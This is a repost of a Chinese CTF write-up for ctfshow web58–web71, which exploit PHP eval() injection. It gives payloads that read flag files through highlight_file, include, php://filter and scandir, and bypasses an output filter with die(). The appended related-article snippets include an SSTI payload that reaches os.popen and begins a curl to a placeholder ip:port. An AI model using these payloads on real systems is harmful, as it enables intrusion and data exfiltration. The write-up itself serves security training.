ctfshow之web58~web71

2024-08-31 21:36
文章标签 ctfshow web58 web71

本文主要是介绍ctfshow之web58~web71,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

web58

思路一:

思路二: 

思路三:  

 web59~web65

web66~web67

 web68~web70

web71


web58

if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
} 

PHP eval() 函数介绍

定义和用法
eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾(php代码语句,不能是简单的2+3)

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

 区分eval函数和system函数:http://t.csdnimg.cn/pD1Ow

再介绍一些执行系统命令的函数: 

但在本题这些函数都用不了

思路一:

这里介绍两个函数: 

  1. show_source();
  2. highlight_file();

 或者说这两个函数是一样的,只是名称不一样

用法:

highlight_file(filename,return)
//filename必选
//return可选

结果就是输出filename文件里面的代码(不会执行filename里面的运算或输出)并进行高亮显示

 payload:c=highlight_file("flag.php");  //注意这里是有分号的,因为eval函数执行的是php语句;

思路二: 

尝试文件读取函数file_get_contents(path),path参数必选,还有其他几个参数是可选,这里不赘述了

用法:file_get_contents() 把整个文件读入一个字符串中。

案例:

<?php
echo file_get_contents("test.txt");
?>//输出This is a test file with test text.

payload:c=file_get_contents("flag.php");

payload:c=$a=file_get_contents("flag.php");echo $a;

//这两个应该都可以     

思路三:  

尝试文件包含函数:include()

 ‌include()函数‌是PHP中用于包含外部文件内容的函数。它允许在一个PHP文件中嵌入另一个文件的内容,这对于代码重用和模块化非常有用。include()函数的行为是,如果文件不存在,它只会发出一个警告,并且脚本会继续执行。

 可以通过使用伪协议对其内容执行输出

伪协议是PHP中一种特殊的数据URI方案,它允许在URL中直接包含数据或执行代码。通过使用伪协议,可以在不经过服务器文件系统的情况下直接读取或执行数据。

payload如下: 

 得到flag.php文件内容的base64编码,将其解码即可 

或者payload:

c=include(flag.php);echo $flag; 

 web59~web65

if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
} 

思路一和思路三在这几题中都可以白嫖

web66~web67

题目一样,使用c=highlight_file("flag.php");

说明flag不在flag.php文件里面;

那么我们应该查找目录结构中包含的文件:c=var_dump(scandir("."));或者c=print_r(scandir("."));

 scandir()从名字上看该函数就是扫描目录文件的,

  1. .和./都表示当前目录
  2. ../表示上一级目录
  3. /表示根目录

扫描根目录(c=var_dump(scandir("/"));发现了flag.txt

payload:c=highlight_file("/flag.txt");

 web68~web70

本题highlight_file()和show_source()都不能用;还是尝试include()

(经过查找目录,猜测flag应该在/flag.txt中)

补充:include包含的文件如果不是php文件或者说是html文件,那么会自动输出文件内容,不用写echo $flag

 当然本题还可以用伪协议php:filter,也是同样的效果

web71

发现有附件,打开提示

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{highlight_file(__FILE__);
}

 ob_get_contents()是将缓冲区的内容输出,然后ob_end_clean()清空缓冲区,最后将缓冲区内容(flag)中的字符全部替换成?,最后输出;

这就是为什么我们执行命令后(c=include("/flag.txt");)输出的都是?????

既然eval函数后面的代码会影响我们的输出,那我们可以直接不执行后面的代码;

有两个函数可以停止后面代码的执行

  1. die();  //c=include("/flag.txt");die();
  2. exit(); //c=include("/flag.txt");exit();

 拿到flag

这篇关于ctfshow之web58~web71的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1125051

相关文章

ctfshow-爆破(web21-web28)

web21 提交用户和密码后发现没有用户以及密码的值呢  常见的是在post数据中 或者url后传值 但这里都没有 发现http头有一个Authorization字段 值是base64编码后的 解码 原来是将传入的值用冒号分离进行base64编码然后放到了Authorization字段中了 设置变量 增加前缀 增加编码方式 取消选项 记住 只要payload存在一下

【靶场】CTFshow—vip限免题目11~20

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】CTFshow—vip限免题目11~20 域名txt记录泄露敏感信息公布内部技术文档泄露编辑器配置不当密码逻辑脆弱探针泄露CDN穿透js敏感信息泄露前端密钥泄露数据库恶意下载 域名txt记录泄露 提示:域名其实也可以隐藏信息,比如ctfshow.com 就

CtfShow中的misc17解法

第一步: 首先拿随波逐流打开看看,没发现啥突破点,很正常 第二步:使用kali中的binwalk命令,解析出一个文件夹,打开压缩包后发现没什么东西     第三步:结合题目给的提示,使用tweakpng打开图片进行IDAT合并,combine all iDAt 第四步:继续用binwalk命令来解析,得到一个新的文件夹 ,里面有一个D6E文件,可以直接查看也可以放到Window

ctfshow(web入门-命令执行)-1

1.web29 只有当c参数的值不包含“flag”(区分大小写),才会执行这段代码 $c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);} 只要payload中没有flag即可 先尝试cat (右键源代码)  tail,tac皆可 system("tail fla*"); tac 逆序读  tail 默认读后1

【CTF Web】CTFShow 协议头信息泄露 Writeup(HTTP协议+信息收集)

协议头信息泄露 10 没思路的时候抓个包看看,可能会有意外收获 解法 按 F12 打开开发者工具,点开网络,刷新网页。 flag 在响应标头。 Flag ctfshow{7fa61c00-ff46-4b3e-8d08-1eaafae521cc} 声明 本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶

CTFSHOW misc入门中misc8解法

第一步:下载misc8压缩包后解压缩,发现是一张misc8.png图片 第二步:老规矩,还是在kali里用binwalk命令查看文件是否包含隐藏文件,发现有两个png文件 第三步:使用binwalk -e 命令看是否能进行解析文件,结果不能。继续使用foremost来进行解析  第四步:使用foremost -T命令来解析,生成两个文件夹,在第二个文件夹中发现一个png文件夹

ctfshow之web29~web51

web29 前瞻知识:  isset() #函数用于检测变量是否已设置并且非 NULL。 highlight_file(_FILE_) #它的作用是将当前文件的代码以语法高亮的形式输出到浏览器.#该函数接受一个参数,"_FILE_",是一个特殊的变量,表示当前文件的路径。因此,这行代码的作用是将当前文件的代码以语法高亮的形式输出到浏览器。 preg_match("/flag/i"

ctfshow web其他 web450--web460

web450 <?phphighlight_file(__FILE__);$ctfshow=$_GET['ctfshow'];if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){ //小写字母^小写字母^小写字母eval("($ctfshow)();");} ?ctfshow=phpinfo^phpinfo^phpinf

ctfshow web 其他 web432--web449

web432 过滤了os|open|system|read|eval ?code=str(''.__class__.__bases__[0].__subclasses__[185].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').__dict__['po'+'pen']('curl http://ip:port?1=

ctfshow web 单身杯

web签到 <?phperror_reporting(0);highlight_file(__FILE__);$file = $_POST['file'];if(isset($file)){if(strrev($file)==$file){ //翻转函数include $file;}} 要进行反转并且包含文件用data协议 自己写不好写可以用函数帮你翻转 <?php $a='data